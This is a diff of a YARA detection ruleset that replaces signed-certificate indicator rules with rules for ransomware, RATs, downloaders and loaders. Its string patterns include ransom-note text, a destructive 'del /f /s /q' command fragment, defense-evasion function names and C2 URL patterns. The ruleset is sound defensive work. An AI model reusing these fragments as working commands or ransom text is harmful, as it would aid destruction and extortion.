 		tags = "FILE"
-		thumbprint = "940345ed6266b67a768296ad49e51bbaa6ee8e97"
-		importance = 20
+
+	strings:
+		$s1 = "main.encryptFile" ascii
+		$s2 = "main.encryptFileExt" ascii
+		$s3 = "main.deleteShadowCopy" ascii
+		$s4 = "main.Shadow" fullword ascii
+		$s5 = "main.RecoverMe" fullword ascii
+		$s6 = "main.EncryptWithPublicKey" ascii
+		$s7 = "main.EncoderLookupDir" fullword ascii
+		$s8 = "main.ALIGNUP" fullword ascii
+		$s9 = "main.encrypt" fullword ascii
+		$s10 = "github.com/mauri870/ransomware" ascii
+		$m1 = "Dear You, ALl Your files On YOUR network computers are encrypted" ascii
+		$m2 = "You have to pay the ransom of %s USD in bitcoins to the address" ascii
+		$m3 = "REMEMBER YOU FILES ARE IN SAVE HANDS AND WILL BE RESTORED OR RECOVERED ONCE PAYMENT IS DONE" ascii
+		$m4 = ":HELP FEEED A CHILD:" ascii
+		$m5 = ">SYSTEM NETWORK ENCRYPTED<" ascii
+		$m6 = "YOUR IDENTIFICATION : %s" ascii
+		$m7 = "convince you of our honesty" ascii
+		$m8 = "use TOR browser to talk with support" ascii
+		$m9 = "encrypted and attackers are taking" ascii
+		$p1 = "/Go/src/kitty/kidrives/" ascii
+		$p2 = "/LGoGo/encoder.go" ascii nocase
+		$p3 = "/Go/src/kitty/kidata/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fbbdefaccbbcdc" and pe.signatures[i].serial=="55:b5:e1:cf:84:a8:9c:4e:02:33:99:78:4b:42:a2:68")
+		uint16(0)==0x5a4d and (3 of ($s*) or 2 of ($m*) or (1 of ($m*) and 1 of ($s*)) or ( all of ($p*) and (1 of ($s*) or 1 of ($m*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_84C3A47B739F1835D35B755D1E6741B5 : FILE
+rule DITEKSHEN_MALWARE_Win_Meteorite : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Meteorite downloader"
 		author = "ditekSHen"
-		id = "00fba5a5-b87d-54f7-a5b8-f7b377af2202"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ce7a72ce-56a8-5def-a952-f0b08efe8a4a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2991-L3002"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5093-L5109"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6beb0966f2ed981c2e1a859ff9f659a566de867888123c387eeb89a97620345e"
+		logic_hash = "0ae8183d949046be4257b48571a266f2501d60dd302f511ca1a2d518884e6a7f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8057f20f9f385858416ec3c0bd77394eff595b69"
-		importance = 20
+
+	strings:
+		$x1 = "MeteoriteDownloader" fullword ascii wide
+		$x2 = "Meteorite Downloader" fullword ascii wide
+		$x3 = "Meteorite Downloader v" wide
+		$s1 = "regwrite" fullword wide
+		$s2 = "urlmon" fullword ascii
+		$s3 = "wscript.shell" fullword wide
+		$s4 = "modMain" fullword ascii
+		$s5 = "VBA6.DLL" fullword ascii
+		$s6 = "^_http" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bddbdcfabededdeadbefed" and pe.signatures[i].serial=="84:c3:a4:7b:73:9f:18:35:d3:5b:75:5d:1e:67:41:b5")
+		uint16(0)==0x5a4d and (1 of ($x*) or (5 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_28F6Ca1F249Cfb6Bdb16Bc57Aaf0Bd79 : FILE
+rule DITEKSHEN_MALWARE_Win_Legionlocker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects LegionLocker ransomware"
 		author = "ditekSHen"
-		id = "b0568efe-d0cc-528d-a9b4-fdb8106c3d0f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4e5c50d0-808e-5adb-bce9-804ddf66ca61"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3004-L3015"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5111-L5129"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c27ad7caa87b366593b82ff5e2b38bda5383e178e2cc01121aaaa5e90beaec86"
+		logic_hash = "2da897b5603415f14fff134b3a94d77e6963da79e117d26ba16e6b04e45f4045"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0811c227816282094d5212d3c9116593f70077ab"
-		importance = 20
+
+	strings:
+		$m1 = "+Do not run task manager, powershell, cmd etc." ascii wide
+		$m2 = "3 hours your files will be deleted." ascii wide
+		$m3 = "files have been encrypted by Legion Locker" ascii wide
+		$s1 = "passwordBytes" fullword ascii
+		$s2 = "_start_enc_" ascii
+		$s3 = "_del_desktop_" ascii
+		$s4 = "Processhacker" wide
+		$s5 = "/k color 47 && del /f /s /q %userprofile%\\" wide
+		$s6 = "Submit code" fullword wide
+		$pdb1 = "\\obj\\Debug\\LegionLocker.pdb" ascii
+		$pdb2 = "\\obj\\Release\\LegionLocker.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cdcafaabbdcaaaeaaee" and pe.signatures[i].serial=="28:f6:ca:1f:24:9c:fb:6b:db:16:bc:57:aa:f0:bd:79")
+		uint16(0)==0x5a4d and (1 of ($m*) or 1 of ($pdb*) or 4 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2C3E87B9D430C2F0B14Fc1152E961F1A : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagentgo : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Go-based downloader"
 		author = "ditekSHen"
-		id = "8e686e58-8fc5-50cf-9259-dcd70f5cc27b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e16ccb89-2eb6-5457-a88e-f802f3c35764"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3017-L3028"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5131-L5144"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "43a8f2d9055091f930af456abd334e38fb6a98bee3bfb8dcbf84c9563c777101"
+		logic_hash = "b9dd2446eddff18be00feb34d8911600feb395a9ce2566786d42b48b444230d0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "80daa4ad14fc420d7708f2855e6fab085ca71980"
-		importance = 20
+
+	strings:
+		$s1 = "main.downloadFile" fullword ascii
+		$s2 = "main.fetchFiles" fullword ascii
+		$s3 = "main.createDefenderAllowanceException" fullword ascii
+		$s4 = "main.unzip" fullword ascii
+		$s5 = "HideWindow" fullword ascii
+		$s6 = "/go/src/installwrap/main.go" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Abfaacccde" and pe.signatures[i].serial=="2c:3e:87:b9:d4:30:c2:f0:b1:4f:c1:15:2e:96:1f:1a")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4808C88Ea243Eefa47610D5F5F0D02A2 : FILE
+rule DITEKSHEN_MALWARE_Win_Blackmoon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables using BlackMoon RunTime"
 		author = "ditekSHen"
-		id = "ea3aadc6-3edd-5e4b-adfe-824103531deb"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "76071d36-3d2d-589c-8c3f-0ae60e69996e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3030-L3041"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5146-L5155"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9fa722bfed0c31e263772615799bbdc054da1424b139c7d73e5755334fb86346"
+		logic_hash = "05bfde8ec3a469df5707c195e25995ac6af730e8a1595b1a598276c024420be2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5dc400de1133be3ff17ff09f8a1fd224b3615e5a"
-		importance = 20
+
+	strings:
+		$s1 = "blackmoon" fullword ascii
+		$s2 = "BlackMoon RunTime Error:" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bfcdcdfcdfcaaeff" and pe.signatures[i].serial=="48:08:c8:8e:a2:43:ee:fa:47:61:0d:5f:5f:0d:02:a2")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2F184A6F054Dc9F7C74A63714B14Ce33 : FILE
+rule DITEKSHEN_MALWARE_Win_Iceid : FILE
 {
 	meta:
-		description = "Detects executables signed AprelTech Silent Install Builder certificate"
+		description = "Detects IceID / Bokbot variants"
 		author = "ditekSHen"
-		id = "17797e5c-acf2-5c4e-b3e0-c48fb7bff996"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0da94737-0f82-5892-a0eb-f9f3c0a114cc"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3043-L3054"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5157-L5176"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d14428b81b4ae4a77a517d2148f4b67b45963b71d998139b42ed4e4352fae6a5"
+		logic_hash = "204b4c297806a36ca14bb3e659824f4eb49b18308af7090f0db1194705f1e2c9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ec9c6a537f6d7a0e63a4eb6aeb0df9d5b466cc58"
-		importance = 20
+
+	strings:
+		$n1 = "POST" fullword wide
+		$n2 = "; _gat=" fullword wide
+		$n3 = "; _ga=" fullword wide
+		$n4 = "; _u=" fullword wide
+		$n5 = "; __io=" fullword wide
+		$n6 = "; _gid=" fullword wide
+		$n7 = "Cookie: __gads=" fullword wide
+		$s1 = "c:\\ProgramData" ascii
+		$s2 = "loader_dll_64.dll" fullword ascii
+		$s3 = "loader_dll_32.dll" fullword ascii
+		$s4 = "/?id=%0.2X%0.8X%0.8X%s" ascii
+		$s5 = "%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.8X" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APREL Tehnologija d.o.o." and pe.signatures[i].serial=="2f:18:4a:6f:05:4d:c9:f7:c7:4a:63:71:4b:14:ce:33")
+		uint16(0)==0x5a4d and (( all of ($n*) and 1 of ($s*)) or (3 of ($s*) and 1 of ($n*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ced72Cc75Aa0Ebce09Dc0283076Ce9B1 : FILE
+rule DITEKSHEN_MALWARE_Win_Purge : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Purge ransomware"
 		author = "ditekSHen"
-		id = "7482c8a9-22d7-5ecf-951c-83818e2aeda7"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b3fb9f38-ce12-5e0e-8908-3379b5da3497"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3056-L3067"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5178-L5201"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "47fceb2a79271011bc6feed209ef4021db155dbc0fd4891f0dc1e900f2cb7fdb"
+		logic_hash = "83d13eca69bc99539e47d6d29689edf2a4fcd2260c6e909582126a490eef8115"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "db77b48a7f16fecd49029b65f122fa0782b4318f"
-		importance = 20
+
+	strings:
+		$n1 = "imagesave/imagesize.php" ascii
+		$n2 = "imageinfo.html" ascii
+		$n3 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" ascii
+		$n4 = "Content-Type: application/x-www-form-urlencoded" ascii
+		$m1 = "YOUR_ID: %x%x" wide
+		$m2 = "Specially for your PC was generated personal" wide
+		$m3 = "which is on our Secret Server" wide
+		$m4 = "wait for a miracle and get your price" wide
+		$s1 = "%s\\SpyHunter Remove Ransomware" wide
+		$s2 = "$recycle.bin" fullword wide
+		$s3 = "TheEnd" fullword wide
+		$s4 = "%s\\HELP_DECRYPT_YOUR_FILES.TXT" fullword wide
+		$s5 = "%s.id_%x%x_email_" wide
+		$s6 = "scmd" fullword wide
+		$s7 = "process call create \"%s\"" wide
+		$s8 = "FinishEnds" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Valerie LLC" and pe.signatures[i].serial=="00:ce:d7:2c:c7:5a:a0:eb:ce:09:dc:02:83:07:6c:e9:b1")
+		uint16(0)==0x5a4d and ( all of ($s*) or all of ($n*) or 2 of ($m*) or (3 of ($s*) and (1 of ($n*) or 1 of ($m*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C4564802095258281A284809930Dcf43 : FILE
+rule DITEKSHEN_MALWARE_Win_Njrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects NjRAT / Bladabindi / NjRAT Golden"
 		author = "ditekSHen"
-		id = "f70f481c-f5cf-5767-9fb0-0adecd0dc1f3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "078dea64-8f95-5939-a1fb-c0a888adcf0d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3069-L3080"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5203-L5220"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "547613d507b04e3bd944515c77cb6ec161fe008b8e2b43cda574a46cbe2ef5ef"
+		logic_hash = "92d535a7c7f361b7a0901d0b99427ebc82a69577bfea73c04a7f9d51d2054b36"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "73db2555f20b171ce9502eb6507add9fa53a5bf3"
-		importance = 20
+
+	strings:
+		$x1 = /Njrat\s\d+\.\d+\sGolden\s/ wide
+		$s1 = /\sfirewall\s(add|delete)\sallowedprogram/ wide
+		$s2 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 (63|6b) 00 20 00 70 00 69 00 6e 00 67 }
+		$s3 = "Execute ERROR" wide
+		$s4 = "Download ERROR" wide
+		$s5 = "[kl]" fullword wide
+		$s6 = "UploadValues" fullword wide
+		$s7 = "winmgmts:\\\\.\\root\\SecurityCenter2" fullword wide
+		$s8 = "HideM" fullword wide
+		$s9 = "No Antivirus" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cfeaaeedaefddfaaccefcdbae" and pe.signatures[i].serial=="c4:56:48:02:09:52:58:28:1a:28:48:09:93:0d:cf:43")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3D31Ed3B22867F425Db86Fb532Eb449F : FILE
+rule DITEKSHEN_MALWARE_Win_Darktrackrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects OzoneRAT / DarkTrack / DarkSky"
 		author = "ditekSHen"
-		id = "a9924b9e-381a-58b2-8839-fcafeb730a32"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ef8675f8-f643-5948-a967-e4a9ce5ab89e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3082-L3093"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5222-L5245"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e3ec4fcd47867b688241dee693bcec98e633e179757ec8e7afd755c7d53a0cd7"
+		logic_hash = "2a831c0f7707864d8c9e9fa338085a52933869d8cfbdbe0d12715da301c12646"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1e708efa130d1e361afb76cc94ba22aca3553590"
-		importance = 20
+
+	strings:
+		$x1 = "Klog.dat" ascii
+		$x2 = "I_AM_DT" ascii
+		$x3 = " Alien" ascii
+		$x4 = "Local Victim" ascii
+		$x5 = "Dtback\\AlienEdition\\Server\\SuperObject.pas" ascii
+		$x6 = "].encryptedUsername" ascii
+		$x7 = "].encryptedPassword" ascii
+		$x8 = { 49 41 4d [6] 44 41 52 [0-2] 4b [6] 44 54 41 43 4b }
+		$s1 = "AntiVirusProduct" ascii
+		$s2 = "AntiSpywareProduct" ascii
+		$s3 = "ConnectServer" ascii
+		$s4 = "ExecQuery" ascii
+		$s5 = "\\Drivers\\Etc\\Hosts" fullword ascii
+		$s6 = "BTMemoryLoadLibary: Get DLLEntyPoint" ascii
+		$s7 = "\\\\.\\SyserDbgMsg" fullword ascii
+		$s8 = "\\\\.\\SyserBoot" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Badfcbdbcdbfafcaeebad" and pe.signatures[i].serial=="3d:31:ed:3b:22:86:7f:42:5d:b8:6f:b5:32:eb:44:9f")
+		uint16(0)==0x5a4d and (4 of ($x*) or 6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_531549Ed4D2D53Fc7E1Beb47C6B13D58 : FILE
+rule DITEKSHEN_MALWARE_Win_Godzilla : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Godzilla loader"
 		author = "ditekSHen"
-		id = "6aec64ae-cda3-57e8-94c6-07c1e07d34ad"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3384b844-6abf-5f94-a62b-7ebbdfe321bd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3095-L3106"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5247-L5265"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "554574657a913dbe0c576dbfcdd93a2494f2ffccf51eaabf06e5fafe2a895c3a"
+		logic_hash = "ff87fbaaf488ac69e06a03a7f8e5305ec114caa6271c25fa130033f50f0d9095"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a8e1f6e32e5342265dd3e28cc65060fb7221c529"
-		importance = 20
+
+	strings:
+		$x1 = "MSVBVM60.DLL" fullword ascii
+		$x2 = "Loginserver8" fullword ascii
+		$x3 = "Proflogger7" fullword ascii
+		$s1 = "Badgeless5" fullword ascii
+		$s2 = "Montebrasite3" fullword ascii
+		$s3 = "Atelomyelia4" fullword ascii
+		$s4 = "Xxencoded5" fullword ascii
+		$s5 = "Garneau2" fullword ascii
+		$s6 = "Hypostasis0" fullword ascii
+		$s7 = "Piarhemia4" fullword ascii
+		$s8 = "Foredestine8" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bdabfbdfbcbab" and pe.signatures[i].serial=="53:15:49:ed:4d:2d:53:fc:7e:1b:eb:47:c6:b1:3d:58")
+		uint16(0)==0x5a4d and all of ($x*) and 2 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_8035Ed9C58Ea895505B05Ff926D486Bc : FILE
+rule DITEKSHEN_MALWARE_Win_UNK03 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown malware"
 		author = "ditekSHen"
-		id = "35b5d9a1-eaa8-53d8-9917-9a688fb95a04"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b0711427-b6bf-5e4b-af36-9c752ead4d6c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3108-L3119"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5267-L5280"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "caf1c962a0f4bd6c90753c6f1f0a2acadafa5fde6c7dacd02a3ca5cc15446ab4"
+		logic_hash = "f1a4be68206628c3addbce8b6bbc1f801e67632d4e6a6af1d45cdad833e9a991"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b82a7f87b7d7ccea50bba5fe8d8c1c745ebcb916"
-		importance = 20
+
+	strings:
+		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion" ascii
+		$s2 = "rundll32.exe C:\\Windows\\System32\\shimgvw.dll,ImageView_Fullscreen %s" ascii
+		$s3 = "%s.jpg" ascii
+		$s4 = "%s\\sz.txt" ascii
+		$s5 = "ChromeSecsv9867%d7.exe" ascii
+		$s6 = "%s\\appl%c.jpg" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fecddacdddfaadcddcabceded" and pe.signatures[i].serial=="80:35:ed:9c:58:ea:89:55:05:b0:5f:f9:26:d4:86:bc")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Ca646B4275406Df639Cf603756F63D77 : FILE
+rule DITEKSHEN_MALWARE_Win_UNK04 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown malware (proxy tool)"
 		author = "ditekSHen"
-		id = "46603413-3e03-57d0-a141-1fee730de6c5"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6a178f37-a9fd-5a83-a550-c6333342ac9b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3121-L3135"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5282-L5296"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "564ca7048413d6cd65371d65906132f62386410442b36b8bafeac5e09917465f"
+		logic_hash = "ba6e5bbc1d094b23e3870af963503d1ccbcd56adc24126b4a38b77d4b88b4b67"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2a68cfad2d82caae48d4dcbb49aa73aaf3fe79dd"
-		importance = 20
+
+	strings:
+		$x1 = "127.0.0.1/%d" fullword ascii
+		$x2 = "SYSTEM\\CurrentControlSet\\SERVICES\\PORTPROXY\\V4TOV4\\TCP" fullword ascii
+		$x3 = "%s rundll32.exe" fullword ascii
+		$s1 = "kxetray.exe" fullword ascii
+		$s2 = "ksafe.exe" fullword ascii
+		$s3 = "Mcshield.exe" fullword ascii
+		$s4 = "Miner.exe" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SHOECORP LIMITED" and (pe.signatures[i].serial=="ca:64:6b:42:75:40:6d:f6:39:cf:60:37:56:f6:3d:77" or pe.signatures[i].serial=="00:ca:64:6b:42:75:40:6d:f6:39:cf:60:37:56:f6:3d:77"))
+		uint16(0)==0x5a4d and all of ($x*) and 2 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E267Fdbdc16F22E8185D35C437F84C87 : FILE
+rule DITEKSHEN_MALWARE_Win_Karkoff : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Karkoff"
 		author = "ditekSHen"
-		id = "520e335d-4b9f-5006-959a-1510312807be"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7d2fe783-18b3-5d84-a9b5-e8e0b5a0db98"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3137-L3148"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5298-L5313"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "403f0f8a65997d27494d7ac4aa99cf5ebb1471839f67b2f8b380225a0263fd67"
+		logic_hash = "e9b6ba5be2b3cd0faa898347e57cee5a57b80b19842c3a1ddb42d620307c8b39"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "cdf4a69402936ece82f3f9163e6cc648bcbb2680"
-		importance = 20
+
+	strings:
+		$x1 = "C:\\Windows\\Temp\\MSEx_log.txt" fullword wide
+		$x2 = "CMD.exe" fullword wide
+		$x3 = "Karkoff.ProjectInstaller.resources" fullword ascii
+		$s1 = /try\shttp(s)?\s(ip|domain)/ fullword wide
+		$s2 = "Reg cleaned!" fullword wide nocase
+		$s3 = "Content-Disposition: form-data; name=\"{1}\"" fullword wide
+		$s4 = "^[A-Fa-f0-9]{8}-([A-Fa-f0-9]{4}-){3}[A-Fa-f0-9]{12}$" fullword wide
+		$s5 = "new backdoor" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APOTHEKA, s.r.o." and pe.signatures[i].serial=="00:e2:67:fd:bd:c1:6f:22:e8:18:5d:35:c4:37:f8:4c:87")
+		uint16(0)==0x5a4d and ( all of ($x*) or 4 of ($s*) or (2 of ($x*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Taffias : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent09 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects known downloader agent"
 		author = "ditekSHen"
-		id = "7ace9b76-104c-511a-801b-0c2d5860eaba"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "90f71ac7-19d9-5a8e-9830-df2f16e12c9b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3150-L3161"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5315-L5328"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
